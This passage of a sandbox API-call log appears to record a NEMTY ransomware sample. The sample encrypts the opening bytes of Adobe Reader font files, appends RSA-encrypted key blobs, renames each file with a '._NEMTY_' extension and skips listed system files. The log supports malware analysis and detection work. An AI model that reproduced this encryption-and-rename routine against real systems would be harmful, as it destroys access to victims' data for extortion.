(dwMilliseconds=0x5) [0194.205] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27668210, dwHighDateTime=0x1d561e8)) [0194.205] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27668210, dwHighDateTime=0x1d561e8)) [0194.205] GetLastError () returned 0xb7 [0194.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.205] GetLastError () returned 0xb7 [0194.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0194.205] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0194.205] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0194.205] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0194.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0194.205] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="76bk30YhXIn0sNC9mnaqn+luC+FPCXcGGGi4g2q5fNe0/3wGhUbH31y5WUtiRi/5\r\ns9wpBi1l/bPUnczCPw9RwftKtWzk5GeOQfE4RYnPW6ieqB4GJSjmUaBYDkm0A/u9\r\ndOBmPDXwhVwRgbV5CjnshEiuBFNztFGU5kWIHZHbWNudecLd8DUJLTKl/jr5ca08\r\nU4hJsSWhixaVOPbLmzqRKuqOCWghOfOPnzFiBcgT517pIpjWus6i3u9mfMyXM0Xd\r\n0AOjlnnByfsNWokUUrrd1vaBbjtlzH/SbzJprpzFpOD7s/2En5Rrzilxx0eMb7Jr\r\ne0IdGNf3VoB/gIIbN9s+JQ==\r\n", pcchString=0x653e91c) returned 1 [0194.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0194.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0194.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0194.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0194.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0194.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0194.205] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeFanHeitiStd-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobefanheitistd-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0194.206] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=5497908) returned 1 [0194.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0194.207] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.207] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0194.309] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.309] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0194.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0194.312] SetFilePointer (in: hFile=0x254, lDistanceToMove=5497908, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x53e434 [0194.312] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0194.320] CloseHandle (hObject=0x254) returned 1 [0194.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0194.320] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0194.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0194.320] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0194.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0194.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0194.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0194.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63401b8 [0194.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0194.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0194.320] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeFanHeitiStd-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobefanheitistd-bold.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeFanHeitiStd-Bold.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobefanheitistd-bold.otf._nemty_kgobjgd_")) returned 1 [0194.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0194.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0194.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0194.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0194.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0194.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0194.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94360 | out: hHeap=0x4f90000) returned 1 [0194.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.321] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c0638, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeGothicStd-Bold.otf", cAlternateFileName="ADOBEG~1.OTF")) returned 1 [0194.321] lstrcmpiW (lpString1="AdobeGothicStd-Bold.otf", lpString2=".") returned 1 [0194.321] lstrcmpiW (lpString1="AdobeGothicStd-Bold.otf", lpString2="..") returned 1 [0194.322] lstrcmpiW (lpString1="AdobeGothicStd-Bold.otf", lpString2="...") returned 1 [0194.322] lstrcmpiW (lpString1="AdobeGothicStd-Bold.otf", lpString2="windows") returned -1 [0194.322] lstrcmpiW (lpString1="AdobeGothicStd-Bold.otf", lpString2="$RECYCLE.BIN") returned 1 [0194.322] lstrcmpiW (lpString1="AdobeGothicStd-Bold.otf", lpString2="rsa") returned -1 [0194.322] lstrcmpiW (lpString1="AdobeGothicStd-Bold.otf", lpString2="NTDETECT.COM") returned -1 [0194.322] lstrcmpiW (lpString1="AdobeGothicStd-Bold.otf", lpString2="ntldr") returned -1 [0194.322] lstrcmpiW (lpString1="AdobeGothicStd-Bold.otf", lpString2="MSDOS.SYS") returned -1 [0194.322] lstrcmpiW (lpString1="AdobeGothicStd-Bold.otf", lpString2="IO.SYS") returned -1 [0194.322] lstrcmpiW (lpString1="AdobeGothicStd-Bold.otf", lpString2="boot.ini") returned -1 [0194.322] lstrcmpiW (lpString1="AdobeGothicStd-Bold.otf", lpString2="boot.ini") returned -1 [0194.322] lstrcmpiW (lpString1="AdobeGothicStd-Bold.otf", lpString2="AUTOEXEC.BAT") returned -1 [0194.322] lstrcmpiW (lpString1="AdobeGothicStd-Bold.otf", lpString2="ntuser.dat") returned -1 [0194.322] lstrcmpiW (lpString1="AdobeGothicStd-Bold.otf", lpString2="desktop.ini") returned -1 [0194.322] lstrcmpiW (lpString1="AdobeGothicStd-Bold.otf", lpString2="CONFIG.SYS") returned -1 [0194.322] lstrcmpiW (lpString1="AdobeGothicStd-Bold.otf", lpString2="RECYCLER") returned -1 [0194.322] lstrcmpiW (lpString1="AdobeGothicStd-Bold.otf", lpString2="BOOTSECT.BAK") returned -1 [0194.322] lstrcmpiW (lpString1="AdobeGothicStd-Bold.otf", lpString2="bootmgr") returned -1 [0194.322] lstrcmpiW (lpString1="AdobeGothicStd-Bold.otf", lpString2="programdata") returned -1 [0194.322] lstrcmpiW (lpString1="AdobeGothicStd-Bold.otf", lpString2="appdata") returned -1 [0194.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0194.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeGothicStd-Bold.otf", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0194.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeGothicStd-Bold.otf", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeGothicStd-Bold.otf", lpUsedDefaultChar=0x0) returned 23 [0194.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0194.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeGothicStd-Bold.otf", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0194.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeGothicStd-Bold.otf", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeGothicStd-Bold.otf", lpUsedDefaultChar=0x0) returned 23 [0194.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0194.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0194.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0194.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeGothicStd-Bold.otf", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0194.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeGothicStd-Bold.otf", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeGothicStd-Bold.otf", lpUsedDefaultChar=0x0) returned 23 [0194.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0194.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0194.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeGothicStd-Bold.otf", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0194.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeGothicStd-Bold.otf", cchWideChar=23, lpMultiByteStr=0x4f9ed58, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeGothicStd-Bold.otf", lpUsedDefaultChar=0x0) returned 23 [0194.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0194.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94360 [0194.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a8 | out: hHeap=0x4f90000) returned 1 [0194.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94220 [0194.323] Sleep (dwMilliseconds=0x5) [0194.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27831290, dwHighDateTime=0x1d561e8)) [0194.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27831290, dwHighDateTime=0x1d561e8)) [0194.399] GetLastError () returned 0x0 [0194.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.399] GetLastError () returned 0x0 [0194.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0194.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0194.400] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0194.400] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0194.400] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0194.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0194.400] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="CpRwCz1BZEm1y9k6FwvHZFH0zJU6ES4SrY3S2xa38WcLeBvmqk0RF1ROdnPx5raj\r\nlx/RlsIDXMk53tQwMC5NsQ3KyUezh4Lgd6Xvtdb2QxTZLNahsLuggoeof/0+fIQY\r\n1FDA6obQ9+VUtaiFAYeg+ZMDTuM5L1bDkQwJd04VmQ3W2l/J8wFCw02k5XgW4o+k\r\n4wp+86p0auuwHZG4elSsytBI8CwYPOOc+KGStWaOuJKnLpQ+48eeoPUJBQosqDnc\r\nwZ+pPLy2+2z5fWekQZI/MGjLAPwZywlCkYo1VYYLolB7diIyzsRBcR2uLd5V3uRM\r\n5H+ZUpMM14dNaOs5cJK3CA==\r\n", pcchString=0x653e91c) returned 1 [0194.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0194.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0194.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0194.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0194.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0194.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0194.400] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeGothicStd-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobegothicstd-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0194.401] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=2885176) returned 1 [0194.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0194.401] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.401] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0194.413] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.413] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0194.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0194.414] SetFilePointer (in: hFile=0x254, lDistanceToMove=2885176, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2c0638 [0194.414] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0194.415] CloseHandle (hObject=0x254) returned 1 [0194.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0194.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0194.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0194.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0194.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0194.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0194.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0194.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63401b8 [0194.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0194.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0194.416] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeGothicStd-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobegothicstd-bold.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeGothicStd-Bold.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobegothicstd-bold.otf._nemty_kgobjgd_")) returned 1 [0194.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0194.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0194.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0194.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0194.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0194.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0194.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0194.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0194.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.417] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fd132c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbb27d0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeHeitiStd-Regular.otf", cAlternateFileName="ADOBEH~1.OTF")) returned 1 [0194.417] lstrcmpiW (lpString1="AdobeHeitiStd-Regular.otf", lpString2=".") returned 1 [0194.417] lstrcmpiW (lpString1="AdobeHeitiStd-Regular.otf", lpString2="..") returned 1 [0194.417] lstrcmpiW (lpString1="AdobeHeitiStd-Regular.otf", lpString2="...") returned 1 [0194.417] lstrcmpiW (lpString1="AdobeHeitiStd-Regular.otf", lpString2="windows") returned -1 [0194.417] lstrcmpiW (lpString1="AdobeHeitiStd-Regular.otf", lpString2="$RECYCLE.BIN") returned 1 [0194.417] lstrcmpiW (lpString1="AdobeHeitiStd-Regular.otf", lpString2="rsa") returned -1 [0194.417] lstrcmpiW (lpString1="AdobeHeitiStd-Regular.otf", lpString2="NTDETECT.COM") returned -1 [0194.417] lstrcmpiW (lpString1="AdobeHeitiStd-Regular.otf", lpString2="ntldr") returned -1 [0194.417] lstrcmpiW (lpString1="AdobeHeitiStd-Regular.otf", lpString2="MSDOS.SYS") returned -1 [0194.417] lstrcmpiW (lpString1="AdobeHeitiStd-Regular.otf", lpString2="IO.SYS") returned -1 [0194.417] lstrcmpiW (lpString1="AdobeHeitiStd-Regular.otf", lpString2="boot.ini") returned -1 [0194.417] lstrcmpiW (lpString1="AdobeHeitiStd-Regular.otf", lpString2="boot.ini") returned -1 [0194.417] lstrcmpiW (lpString1="AdobeHeitiStd-Regular.otf", lpString2="AUTOEXEC.BAT") returned -1 [0194.417] lstrcmpiW (lpString1="AdobeHeitiStd-Regular.otf", lpString2="ntuser.dat") returned -1 [0194.417] lstrcmpiW (lpString1="AdobeHeitiStd-Regular.otf", lpString2="desktop.ini") returned -1 [0194.418] lstrcmpiW (lpString1="AdobeHeitiStd-Regular.otf", lpString2="CONFIG.SYS") returned -1 [0194.418] lstrcmpiW (lpString1="AdobeHeitiStd-Regular.otf", lpString2="RECYCLER") returned -1 [0194.418] lstrcmpiW (lpString1="AdobeHeitiStd-Regular.otf", lpString2="BOOTSECT.BAK") returned -1 [0194.418] lstrcmpiW (lpString1="AdobeHeitiStd-Regular.otf", lpString2="bootmgr") returned -1 [0194.418] lstrcmpiW (lpString1="AdobeHeitiStd-Regular.otf", lpString2="programdata") returned -1 [0194.418] lstrcmpiW (lpString1="AdobeHeitiStd-Regular.otf", lpString2="appdata") returned -1 [0194.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHeitiStd-Regular.otf", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0194.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHeitiStd-Regular.otf", 